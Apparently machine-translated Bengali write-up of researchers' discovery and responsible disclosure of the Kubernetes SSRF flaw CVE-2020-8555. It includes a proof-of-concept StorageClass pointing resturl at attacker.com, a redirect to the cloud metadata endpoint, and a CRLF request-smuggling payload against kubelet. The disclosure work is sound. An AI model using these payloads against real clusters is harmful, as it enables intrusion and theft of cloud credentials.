যখন এটি কেবল কুবারনেটসের দুর্বলতা সম্পর্কে নয়...

বিঃদ্রঃ. অনুবাদ: এই নিবন্ধের লেখকরা কীভাবে তারা দুর্বলতা আবিষ্কার করতে পেরেছিলেন সে সম্পর্কে বিস্তারিতভাবে কথা বলেছেন CVE-2020-8555 কুবারনেটসে। যদিও প্রাথমিকভাবে এটি খুব বিপজ্জনক বলে মনে হয়নি, অন্যান্য কারণের সাথে এর সমালোচকতা কিছু ক্লাউড সরবরাহকারীদের জন্য সর্বাধিক হতে দেখা গেছে। বেশ কয়েকটি সংস্থা উদারভাবে বিশেষজ্ঞদের তাদের কাজের জন্য পুরস্কৃত করেছে।

আমরা কারা

আমরা দুজন ফরাসি নিরাপত্তা গবেষক যারা যৌথভাবে কুবারনেটে একটি দুর্বলতা আবিষ্কার করেছেন। আমাদের নাম হল ব্রাইস অগ্রাস এবং ক্রিস্টোফ হাউকিয়ের্ট, কিন্তু অনেক বাগ বাউন্টি প্ল্যাটফর্মে আমরা যথাক্রমে রিভারজ্যাক্স এবং হ্যাচ নামে পরিচিত:

• ব্রাইস আগ্রাস - গ্রুপ অ্যাস্টেন কোম্পানি;
• ক্রিস্টোফ হাউকিয়ের্ট - নকিয়ার কুবারনেটস স্থপতি।

কি হলো?

এই নিবন্ধটি আমাদের ভাগ করে নেওয়ার উপায় কীভাবে একটি সাধারণ গবেষণা প্রকল্প অপ্রত্যাশিতভাবে বাগ শিকারীদের জীবনে সবচেয়ে উত্তেজনাপূর্ণ অ্যাডভেঞ্চারে পরিণত হয়েছে (অন্তত এখন জন্য)।

আপনি সম্ভবত জানেন, বাগ শিকারীদের কয়েকটি উল্লেখযোগ্য বৈশিষ্ট্য রয়েছে:

• তারা পিজা এবং বিয়ারে বাস করে;
• তারা কাজ করে যখন অন্য সবাই ঘুমিয়ে থাকে।

আমরা এই নিয়মগুলির ব্যতিক্রম নই: আমরা সাধারণত সপ্তাহান্তে দেখা করি এবং হ্যাকিংয়ে ঘুমহীন রাত কাটাই। কিন্তু এই রাতগুলোর মধ্যে একটি খুব অস্বাভাবিকভাবে শেষ হয়েছিল।

প্রাথমিকভাবে আমরা অংশগ্রহণ নিয়ে আলোচনা করতে দেখা করতে যাচ্ছিলাম সিটিএফ পরের দিন. একটি পরিচালিত পরিষেবা পরিবেশে Kubernetes নিরাপত্তা সম্পর্কে একটি কথোপকথনের সময়, আমরা SSRF এর পুরানো ধারণাটি মনে রেখেছিলাম (সার্ভার-সাইড অনুরোধ জালিয়াতি) এবং এটি একটি আক্রমণ স্ক্রিপ্ট হিসাবে ব্যবহার করার চেষ্টা করার সিদ্ধান্ত নিয়েছে।

রাত 11 টায় আমরা আমাদের গবেষণা করতে বসেছিলাম এবং ফলাফল নিয়ে খুব সন্তুষ্ট হয়ে খুব সকালে ঘুমাতে গিয়েছিলাম। এই গবেষণার কারণেই আমরা MSRC বাগ বাউন্টি প্রোগ্রামে এসেছি এবং একটি বিশেষাধিকার বৃদ্ধির শোষণ নিয়ে এসেছি।

বেশ কয়েক সপ্তাহ/মাস কেটে গেছে, এবং আমাদের অপ্রত্যাশিত ফলাফলের ফলে Azure ক্লাউড বাগ বাউন্টির ইতিহাসে সর্বোচ্চ পুরস্কারগুলির মধ্যে একটি - আমরা Kubernetes থেকে প্রাপ্ত একটি ছাড়াও!

আমাদের গবেষণা প্রকল্পের উপর ভিত্তি করে, Kubernetes পণ্য নিরাপত্তা কমিটি প্রকাশিত CVE-2020-8555.

এখন আমি যতটা সম্ভব পাওয়া দুর্বলতা সম্পর্কে তথ্য ছড়িয়ে দিতে চাই। আমরা আশা করি আপনি অনুসন্ধানের প্রশংসা করবেন এবং ইনফোসেক সম্প্রদায়ের অন্যান্য সদস্যদের সাথে প্রযুক্তিগত বিবরণ শেয়ার করবেন!

তাই এখানে আমাদের গল্প...

প্রসঙ্গ

কী ঘটেছিল তা সবচেয়ে বেশি বোঝার জন্য, আসুন প্রথমে দেখি কিভাবে কুবারনেটস একটি ক্লাউড পরিচালিত পরিবেশে কাজ করে।

আপনি যখন এই ধরনের পরিবেশে একটি Kubernetes ক্লাস্টার ইনস্ট্যান্টিয়েট করেন, তখন ব্যবস্থাপনা স্তরটি সাধারণত ক্লাউড প্রদানকারীর দায়িত্ব হয়:

কন্ট্রোল লেয়ারটি ক্লাউড প্রদানকারীর পরিধিতে অবস্থিত, যখন কুবারনেটস নোডগুলি গ্রাহকের পরিধিতে অবস্থিত

গতিশীলভাবে ভলিউম বরাদ্দ করার জন্য, একটি বাহ্যিক স্টোরেজ ব্যাকএন্ড থেকে তাদের গতিশীলভাবে বিধান করার জন্য একটি প্রক্রিয়া ব্যবহার করা হয় এবং সেগুলিকে পিভিসি (অস্থির ভলিউম দাবি, যেমন একটি ভলিউমের জন্য অনুরোধ) এর সাথে তুলনা করা হয়।

এইভাবে, K8s ক্লাস্টারে PVC তৈরি এবং StorageClass এর সাথে আবদ্ধ হওয়ার পরে, ভলিউম প্রদানের জন্য আরও কাজগুলি kube/Cloud কন্ট্রোলার ম্যানেজার দ্বারা নেওয়া হয় (এর সঠিক নাম প্রকাশের উপর নির্ভর করে)। (বিঃদ্রঃ. অনুবাদ: আমরা ইতিমধ্যেই ক্লাউড প্রদানকারীর একজনের জন্য এর বাস্তবায়নের উদাহরণ ব্যবহার করে CCM সম্পর্কে আরও লিখেছি এখানে.)

কুবারনেটস দ্বারা সমর্থিত বিভিন্ন ধরণের বিধানকারী রয়েছে: তাদের বেশিরভাগই অন্তর্ভুক্ত অর্কেস্ট্রেটর কোর, যখন অন্যগুলি ক্লাস্টারে পডগুলিতে স্থাপন করা অতিরিক্ত বিধানকারীদের দ্বারা পরিচালিত হয়।

আমাদের গবেষণায়, আমরা অভ্যন্তরীণ ভলিউম প্রভিশনিং মেকানিজমের উপর ফোকাস করেছি, যা নীচে চিত্রিত করা হয়েছে:

অন্তর্নির্মিত Kubernetes প্রভিজার ব্যবহার করে ভলিউমের গতিশীল বিধান

সংক্ষেপে, যখন Kubernetes একটি পরিচালিত পরিবেশে মোতায়েন করা হয়, তখন কন্ট্রোলার ম্যানেজার ক্লাউড প্রদানকারীর দায়িত্ব, কিন্তু ভলিউম তৈরির অনুরোধ (উপরের চিত্রে 3 নম্বর) ক্লাউড প্রদানকারীর অভ্যন্তরীণ নেটওয়ার্ক ছেড়ে যায়। এবং এই যেখানে জিনিস সত্যিই আকর্ষণীয় পেতে!

হ্যাকিং দৃশ্যকল্প

এই বিভাগে, আমরা ব্যাখ্যা করব কিভাবে আমরা উপরে উল্লিখিত কর্মপ্রবাহের সুবিধা নিয়েছি এবং ক্লাউড পরিষেবা প্রদানকারীর অভ্যন্তরীণ সংস্থানগুলিতে অ্যাক্সেস করেছি। এটি আপনাকে দেখাবে কিভাবে আপনি নির্দিষ্ট ক্রিয়াকলাপ সম্পাদন করতে পারেন, যেমন অভ্যন্তরীণ শংসাপত্র প্রাপ্ত করা বা বিশেষাধিকার বৃদ্ধি করা।

একটি সাধারণ ম্যানিপুলেশন (এই ক্ষেত্রে, সার্ভিস সাইড রিকোয়েস্ট ফোরজি) ক্লায়েন্ট পরিবেশের বাইরে পরিচালিত K8 এর অধীনে বিভিন্ন পরিষেবা প্রদানকারীর ক্লাস্টারে যেতে সাহায্য করেছে।

আমাদের গবেষণায় আমরা GlusterFS প্রদানকারীর উপর দৃষ্টি নিবদ্ধ করেছি। এই প্রসঙ্গে কর্মের পরবর্তী ক্রম বর্ণনা করা সত্ত্বেও, Quobyte, StorageOS এবং ScaleIO একই দুর্বলতার জন্য সংবেদনশীল।

ডায়নামিক ভলিউম প্রভিশনিং মেকানিজমের অপব্যবহার

স্টোরেজ ক্লাস বিশ্লেষণের সময় গ্লস্টারএফএস গোলং ক্লায়েন্ট সোর্স কোডে আমরা লক্ষ্য করাযেটি প্রথম HTTP অনুরোধে (3) ভলিউম তৈরির সময়, প্যারামিটারে কাস্টম URL-এর শেষে পাঠানো হয় resturl যুক্ত /volumes.

আমরা যোগ করে এই অতিরিক্ত পথ পরিত্রাণ পেতে সিদ্ধান্ত নিয়েছে # প্যারামিটারে resturl. এখানে প্রথম YAML কনফিগারেশনটি আমরা একটি আধা-অন্ধ SSRF দুর্বলতার জন্য পরীক্ষা করার জন্য ব্যবহার করেছি (আপনি আধা-অন্ধ বা অর্ধ-অন্ধ SSRF সম্পর্কে আরও পড়তে পারেন, উদাহরণস্বরূপ, এখানে - প্রায়. অনুবাদ।):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

তারপরে আমরা কুবারনেটস ক্লাস্টার দূরবর্তীভাবে পরিচালনা করতে বাইনারি ব্যবহার করেছি কুবেক্টেল. সাধারণত, ক্লাউড প্রদানকারীরা (Azure, Google, AWS, ইত্যাদি) আপনাকে এই ইউটিলিটিতে ব্যবহারের জন্য শংসাপত্র প্রাপ্ত করার অনুমতি দেয়।

এর জন্য ধন্যবাদ, আমি আমার "বিশেষ" ফাইলটি ব্যবহার করতে সক্ষম হয়েছি। কুবে-কন্ট্রোলার-ম্যানেজার ফলস্বরূপ HTTP অনুরোধটি কার্যকর করেছে:

kubectl create -f sc-poc.yaml

আক্রমণকারীর দৃষ্টিকোণ থেকে উত্তর

এর কিছুক্ষণ পরে, আমরা লক্ষ্য সার্ভার থেকে - কমান্ডের মাধ্যমে একটি HTTP প্রতিক্রিয়া পেতে সক্ষম হয়েছি describe pvc বা get events kubectl-এ। এবং প্রকৃতপক্ষে: এই ডিফল্ট কুবারনেটস ড্রাইভারটি তার সতর্কতা/ত্রুটি বার্তাগুলিতে খুব বেশি শব্দযুক্ত...

এখানে একটি লিঙ্ক সহ একটি উদাহরণ https://www.google.frপ্যারামিটার হিসাবে সেট করুন resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

এই পদ্ধতিতে, আমরা যেমন প্রশ্নের মধ্যে সীমাবদ্ধ ছিলাম HTTP পোস্ট এবং রিটার্ন কোড হলে প্রতিক্রিয়া বডির বিষয়বস্তু পেতে পারে না 201. অতএব, আমরা অতিরিক্ত গবেষণা পরিচালনা করার সিদ্ধান্ত নিয়েছি এবং নতুন পদ্ধতির সাথে এই হ্যাকিং দৃশ্যকে প্রসারিত করেছি।

আমাদের গবেষণার বিবর্তন

• উন্নত দৃশ্য #1: অভ্যন্তরীণ ডেটা সংগ্রহের আরও নমনীয় উপায় প্রদান করতে HTTP পদ্ধতি পরিবর্তন করতে একটি বহিরাগত সার্ভার থেকে 302 পুনঃনির্দেশ ব্যবহার করা।
• উন্নত দৃশ্য #2: স্বয়ংক্রিয় ল্যান স্ক্যানিং এবং অভ্যন্তরীণ সম্পদ আবিষ্কার।
• উন্নত পরিস্থিতি #3: HTTP CRLF + চোরাচালান ("অনুরোধ চোরাচালান") ব্যবহার করে মানানসই HTTP অনুরোধ তৈরি করা এবং kube-কন্ট্রোলার লগ থেকে বের করা ডেটা পুনরুদ্ধার করা।

প্রযুক্তিগত বিবরণ

• গবেষণাটি উত্তর ইউরোপ অঞ্চলে Kubernetes সংস্করণ 1.12 সহ Azure Kubernetes Service (AKS) ব্যবহার করেছে।
• উপরে বর্ণিত পরিস্থিতিগুলি কুবারনেটসের সর্বশেষ রিলিজে কার্যকর করা হয়েছিল, তৃতীয় দৃশ্যটি বাদ দিয়ে, কারণ তার দরকার গোলং সংস্করণ ≤ 1.12 দিয়ে নির্মিত কুবারনেটস।
• আক্রমণকারীর বাহ্যিক সার্ভার - https://attacker.com.

উন্নত দৃশ্যকল্প #1: একটি HTTP POST অনুরোধ GET-এ পুনঃনির্দেশ করা এবং সংবেদনশীল ডেটা গ্রহণ করা

আসল পদ্ধতিটি আক্রমণকারীর সার্ভারের কনফিগারেশনের দ্বারা ফিরে আসার জন্য উন্নত করা হয়েছিল 302 HTTP রিকোডএকটি POST অনুরোধকে একটি GET অনুরোধে রূপান্তর করতে (চিত্রে ধাপ 4):

প্রথম অনুরোধ (3) ক্লায়েন্ট থেকে আসছে গ্লস্টারএফএস (কন্ট্রোলার ম্যানেজার), একটি POST প্রকার আছে। এই পদক্ষেপগুলি অনুসরণ করে আমরা এটিকে একটি GET-এ পরিণত করতে সক্ষম হয়েছি:

• একটি প্যারামিটার হিসাবে resturl স্টোরেজক্লাসে এটি নির্দেশিত হয় http://attacker.com/redirect.php.
• শেষপ্রান্ত https://attacker.com/redirect.php নিম্নলিখিত অবস্থান শিরোনাম সহ একটি 302 HTTP স্ট্যাটাস কোড সহ উত্তর দেয়: http://169.254.169.254. এটি অন্য কোনও অভ্যন্তরীণ সংস্থান হতে পারে - এই ক্ষেত্রে, পুনঃনির্দেশ লিঙ্কটি শুধুমাত্র একটি উদাহরণ হিসাবে ব্যবহৃত হয়।
• ডিফল্টরূপে নেট/http লাইব্রেরি Golang অনুরোধটি পুনঃনির্দেশ করে এবং 302 স্ট্যাটাস কোড সহ একটি GET-এ POST রূপান্তর করে, যার ফলে লক্ষ্য সংস্থানে একটি HTTP GET অনুরোধ আসে৷

HTTP প্রতিক্রিয়া বডি পড়তে আপনাকে করতে হবে describe পিভিসি বস্তু:

kubectl describe pvc xxx

এখানে JSON ফর্ম্যাটে একটি HTTP প্রতিক্রিয়ার একটি উদাহরণ রয়েছে যা আমরা পেতে সক্ষম হয়েছি:

সেই সময়ে পাওয়া দুর্বলতার ক্ষমতা নিম্নলিখিত বিষয়গুলির কারণে সীমিত ছিল:

• বহির্গামী অনুরোধে HTTP শিরোনাম সন্নিবেশ করাতে অক্ষমতা।
• শরীরে পরামিতি সহ একটি POST অনুরোধ সম্পাদন করতে অক্ষমতা (এটি চালু থাকা একটি etcd উদাহরণ থেকে কী মান অনুরোধ করা সুবিধাজনক 2379 পোর্ট যদি এনক্রিপ্ট না করা HTTP ব্যবহার করা হয়)।
• স্ট্যাটাস কোড 200 হলে এবং প্রতিক্রিয়াতে JSON কন্টেন্ট-টাইপ না থাকলে প্রতিক্রিয়া বডি কন্টেন্ট পুনরুদ্ধার করতে অক্ষমতা।

উন্নত পরিস্থিতি #2: স্থানীয় নেটওয়ার্ক স্ক্যান করা হচ্ছে

এই অর্ধ-অন্ধ SSRF পদ্ধতিটি তখন ক্লাউড প্রদানকারীর অভ্যন্তরীণ নেটওয়ার্ক স্ক্যান করতে এবং প্রতিক্রিয়াগুলির উপর ভিত্তি করে বিভিন্ন শ্রবণ পরিষেবা (মেটাডেটা উদাহরণ, কুবেলেট, ইত্যাদি) পোল করতে ব্যবহৃত হয়েছিল। কুব নিয়ামক.

প্রথমে, Kubernetes উপাদানগুলির মানক শোনার পোর্টগুলি নির্ধারণ করা হয়েছিল (8443, 10250, 10251, ইত্যাদি), এবং তারপরে আমাদের স্ক্যানিং প্রক্রিয়াটি স্বয়ংক্রিয় করতে হয়েছিল।

রিসোর্স স্ক্যান করার এই পদ্ধতিটি খুবই নির্দিষ্ট এবং ক্লাসিক স্ক্যানার এবং এসএসআরএফ টুলের সাথে সামঞ্জস্যপূর্ণ নয় দেখে আমরা আমাদের নিজস্ব কর্মীদের একটি ব্যাশ স্ক্রিপ্টে তৈরি করার সিদ্ধান্ত নিয়েছি যা সম্পূর্ণ প্রক্রিয়াটিকে স্বয়ংক্রিয় করে।

উদাহরণস্বরূপ, অভ্যন্তরীণ নেটওয়ার্কের 172.16.0.0/12 পরিসরটি দ্রুত স্ক্যান করার জন্য, 15 জন কর্মী সমান্তরালভাবে চালু করা হয়েছিল। উপরের আইপি পরিসরটি শুধুমাত্র একটি উদাহরণ হিসাবে নির্বাচন করা হয়েছে এবং আপনার নির্দিষ্ট পরিষেবা প্রদানকারীর আইপি পরিসরে পরিবর্তন হতে পারে।

একটি আইপি ঠিকানা এবং একটি পোর্ট স্ক্যান করতে, আপনাকে নিম্নলিখিতগুলি করতে হবে:

• শেষ চেক করা StorageClass মুছুন;
• পূর্ববর্তী যাচাইকৃত স্থায়ী ভলিউম দাবি সরান;
• আইপি এবং পোর্টের মান পরিবর্তন করুন sc.yaml;
• একটি নতুন আইপি এবং পোর্ট সহ একটি স্টোরেজক্লাস তৈরি করুন;
• একটি নতুন পিভিসি তৈরি করুন;
• PVC-এর জন্য বর্ণনা ব্যবহার করে স্ক্যানের ফলাফল বের করুন।

উন্নত পরিস্থিতি #3: কুবারনেটস ক্লাস্টারের "পুরানো" সংস্করণে CRLF ইনজেকশন + চোরাচালান HTTP

যদি এটি ছাড়াও প্রদানকারী ক্লায়েন্টদের K8s ক্লাস্টারের পুরানো সংস্করণ অফার করে и তাদের kube-controller-manager-এর লগগুলিতে অ্যাক্সেস দিয়েছে, প্রভাবটি আরও উল্লেখযোগ্য হয়ে উঠেছে।

একজন আক্রমণকারীর পক্ষে তার বিবেচনার ভিত্তিতে সম্পূর্ণ HTTP প্রতিক্রিয়া পাওয়ার জন্য ডিজাইন করা HTTP অনুরোধগুলি পরিবর্তন করা সত্যিই অনেক বেশি সুবিধাজনক।

শেষ দৃশ্যটি বাস্তবায়ন করতে, নিম্নলিখিত শর্তগুলি পূরণ করতে হয়েছিল:

• ব্যবহারকারীর অবশ্যই kube-কন্ট্রোলার-ম্যানেজার লগগুলিতে অ্যাক্সেস থাকতে হবে (যেমন, যেমন, Azure LogInsights-এ)।
• Kubernetes ক্লাস্টার অবশ্যই 1.12 এর চেয়ে কম গোলং এর একটি সংস্করণ ব্যবহার করবে৷

আমরা একটি স্থানীয় পরিবেশ স্থাপন করেছি যা GlusterFS Go ক্লায়েন্ট এবং একটি জাল টার্গেট সার্ভারের মধ্যে যোগাযোগের অনুকরণ করে (আমরা আপাতত PoC প্রকাশ করা থেকে বিরত থাকব)।

পাওয়া গিয়েছিল দুর্বলতা, 1.12 এর চেয়ে কম গোলং সংস্করণগুলিকে প্রভাবিত করে এবং হ্যাকারদের HTTP চোরাচালান/CRLF আক্রমণ চালানোর অনুমতি দেয়।

উপরে বর্ণিত অর্ধ-অন্ধ SSRF একত্রিত করে একসঙ্গে এটির সাহায্যে, আমরা হেডার, HTTP পদ্ধতি, প্যারামিটার এবং ডেটা প্রতিস্থাপন সহ আমাদের পছন্দ অনুসারে অনুরোধ পাঠাতে সক্ষম হয়েছিলাম, যা kube-controller-manager তারপর প্রক্রিয়া করে।

এখানে একটি প্যারামিটারে একটি কার্যকরী "টোপ" এর একটি উদাহরণ resturl StorageClass, যা একটি অনুরূপ আক্রমণ দৃশ্যকল্প প্রয়োগ করে:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

ফলাফল একটি ত্রুটি অযাচিত প্রতিক্রিয়া, একটি বার্তা যা নিয়ামক লগগুলিতে রেকর্ড করা হয়। ডিফল্টরূপে ভারবোসিটি সক্ষম করার জন্য ধন্যবাদ, HTTP প্রতিক্রিয়া বার্তার বিষয়বস্তুও সেখানে সংরক্ষিত হয়।

ধারণার প্রমাণের কাঠামোর মধ্যে এটি ছিল আমাদের সবচেয়ে কার্যকর "টোপ"।

এই পদ্ধতিটি ব্যবহার করে, আমরা বিভিন্ন পরিচালিত k8s প্রদানকারীর ক্লাস্টারগুলিতে নিম্নলিখিত কিছু আক্রমণ চালাতে সক্ষম হয়েছি: মেটাডেটা দৃষ্টান্তগুলিতে শংসাপত্র সহ বিশেষাধিকার বৃদ্ধি, etcd মাস্টার দৃষ্টান্তগুলিতে (আনএনক্রিপ্ট করা) HTTP অনুরোধের মাধ্যমে মাস্টার DoS ইত্যাদি।

প্রভাব

SSRF দুর্বলতা সম্পর্কে কুবারনেটসের অফিসিয়াল বিবৃতিতে আমরা আবিষ্কার করেছি, এটি রেট করা হয়েছে CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N যদি আমরা শুধুমাত্র কুবারনেটস পরিধির সাথে সম্পর্কিত দুর্বলতা বিবেচনা করি, অখণ্ডতা ভেক্টর (অখণ্ডতা ভেক্টর) এটা হিসাবে যোগ্য না.

যাইহোক, একটি পরিচালিত পরিষেবা পরিবেশের পরিপ্রেক্ষিতে সম্ভাব্য পরিণতিগুলি মূল্যায়ন করা (এবং এটি আমাদের গবেষণার সবচেয়ে আকর্ষণীয় অংশ ছিল!) আমাদেরকে একটি রেটিংয়ে দুর্বলতাকে পুনরায় শ্রেণীবদ্ধ করতে প্ররোচিত করেছিল সমালোচনামূলক CVSS10/10 অনেক পরিবেশকদের জন্য।

ক্লাউড পরিবেশে সম্ভাব্য প্রভাবগুলি মূল্যায়ন করার সময় আমাদের বিবেচনাগুলি বুঝতে সাহায্য করার জন্য নীচে অতিরিক্ত তথ্য রয়েছে:

অখণ্ডতা

• অর্জিত অভ্যন্তরীণ শংসাপত্র ব্যবহার করে দূরবর্তীভাবে কমান্ডগুলি চালান।
• স্থানীয় নেটওয়ার্কে পাওয়া অন্যান্য সংস্থানগুলির সাথে IDOR (ইনসিকিউর ডাইরেক্ট অবজেক্ট রেফারেন্স) পদ্ধতি ব্যবহার করে উপরের দৃশ্যটি পুনরুত্পাদন করা।

গোপনীয়তা

• আক্রমণের ধরন পার্শ্ববর্তী আন্দোলন ক্লাউড শংসাপত্র চুরির জন্য ধন্যবাদ (উদাহরণস্বরূপ, মেটাডেটা API)।
• স্থানীয় নেটওয়ার্ক স্ক্যান করে তথ্য সংগ্রহ করা (SSH সংস্করণ, HTTP সার্ভার সংস্করণ, ...)।
• অভ্যন্তরীণ API যেমন মেটাডেটা API (http://169.254.169.254,…)।
• ক্লাউড শংসাপত্র ব্যবহার করে গ্রাহকের ডেটা চুরি করা।

উপস্থিতি

আক্রমণ ভেক্টর সম্পর্কিত সমস্ত শোষণ পরিস্থিতি অখণ্ডতা, ধ্বংসাত্মক ক্রিয়াকলাপের জন্য ব্যবহার করা যেতে পারে এবং ক্লায়েন্ট পরিধি (বা অন্য কোন) অনুপলব্ধ থেকে মাস্টার উদাহরণ হতে পারে।

যেহেতু আমরা একটি পরিচালিত K8s পরিবেশে ছিলাম এবং অখণ্ডতার উপর প্রভাব মূল্যায়ন করছি, আমরা এমন অনেক পরিস্থিতি কল্পনা করতে পারি যা প্রাপ্যতাকে প্রভাবিত করতে পারে। অতিরিক্ত উদাহরণগুলির মধ্যে etcd ডাটাবেসকে দূষিত করা বা Kubernetes API-তে একটি সমালোচনামূলক কল করা অন্তর্ভুক্ত।

কালনিরুপণ-বিদ্যা

• ডিসেম্বর 6, 2019: দুর্বলতা MSRC বাগ বাউন্টিকে রিপোর্ট করা হয়েছে।
• জানুয়ারী 3, 2020: একটি তৃতীয় পক্ষ Kubernetes ডেভেলপারদের জানিয়েছে যে আমরা একটি নিরাপত্তা সমস্যা নিয়ে কাজ করছি। এবং তাদের SSRF কে অভ্যন্তরীণ (ইন-কোর) দুর্বলতা হিসাবে বিবেচনা করতে বলেছে। তারপরে আমরা সমস্যার উত্স সম্পর্কে প্রযুক্তিগত বিবরণ সহ একটি সাধারণ প্রতিবেদন সরবরাহ করেছি।
• জানুয়ারী 15, 2020: আমরা Kubernetes ডেভেলপারদের তাদের অনুরোধের ভিত্তিতে প্রযুক্তিগত এবং সাধারণ রিপোর্ট প্রদান করেছি (HackerOne প্ল্যাটফর্মের মাধ্যমে)।
• জানুয়ারী 15, 2020: Kubernetes ডেভেলপাররা আমাদের জানান যে অতীতের রিলিজের জন্য অর্ধ-অন্ধ SSRF + CRLF ইনজেকশন একটি অন্তর্মুখী দুর্বলতা হিসাবে বিবেচিত হয়। আমরা অবিলম্বে অন্যান্য পরিষেবা প্রদানকারীদের পরিধি বিশ্লেষণ বন্ধ করে দিয়েছি: K8s দল এখন মূল কারণ নিয়ে কাজ করছে।
• 15 জানুয়ারী, 2020: MSRC পুরস্কার HackerOne-এর মাধ্যমে গৃহীত হয়েছে।
• জানুয়ারী 16, 2020: Kubernetes PSC (প্রোডাক্ট সিকিউরিটি কমিটি) দুর্বলতা স্বীকার করেছে এবং বিপুল সংখ্যক সম্ভাব্য শিকারের কারণে মার্চের মাঝামাঝি পর্যন্ত এটি গোপন রাখতে বলেছে।
• 11 ফেব্রুয়ারি, 2020: Google VRP পুরস্কার পেয়েছে।
• 4 মার্চ, 2020: HackerOne-এর মাধ্যমে প্রাপ্ত Kubernetes পুরস্কার।
• মার্চ 15, 2020: কোভিড-১৯ পরিস্থিতির কারণে মূলত নির্ধারিত পাবলিক ডিসক্লোজার স্থগিত করা হয়েছে।
• জুন 1, 2020: কুবারনেটস + মাইক্রোসফ্টের দুর্বলতা সম্পর্কে যৌথ বিবৃতি।

TL; ডিআর

• আমরা বিয়ার পান করি এবং পিজা খাই :)
• আমরা Kubernetes-এ একটি অন্তর্মুখী দুর্বলতা আবিষ্কার করেছি, যদিও আমাদের তা করার কোনো উদ্দেশ্য ছিল না।
• আমরা বিভিন্ন ক্লাউড প্রদানকারীর ক্লাস্টারগুলিতে অতিরিক্ত বিশ্লেষণ পরিচালনা করেছি এবং অতিরিক্ত দুর্দান্ত বোনাস পাওয়ার দুর্বলতার কারণে সৃষ্ট ক্ষতি বাড়াতে সক্ষম হয়েছি।
• আপনি এই নিবন্ধে প্রচুর প্রযুক্তিগত বিবরণ পাবেন। আমরা তাদের সাথে আপনার সাথে আলোচনা করতে পেরে খুশি হব (টুইটার: @রিভারজ্যাক্স & @__হাচ_).
• দেখা গেল যে সমস্ত ধরণের আনুষ্ঠানিকতা এবং রিপোর্টিং প্রত্যাশার চেয়ে অনেক বেশি সময় নেয়।

রেফারেন্স

• গুগল গ্রুপ kubernetes-নিরাপত্তা-ঘোষণা;
• জন্য CVE-2020-8555;
• গোলং সমস্যা #30794;
• heketi/client/api/go-client/volume.go.

অনুবাদক থেকে PS

আমাদের ব্লগেও পড়ুন:

• «Kubernetes বাগ হান্ট আনুষ্ঠানিকভাবে খোলা আছে";
• «লগ মাউন্ট করে Kubernetes-এ একটি পড থেকে প্রস্থান করা হচ্ছে";
• «33+ কুবারনেটস নিরাপত্তা সরঞ্জাম».

উত্স: www.habr.com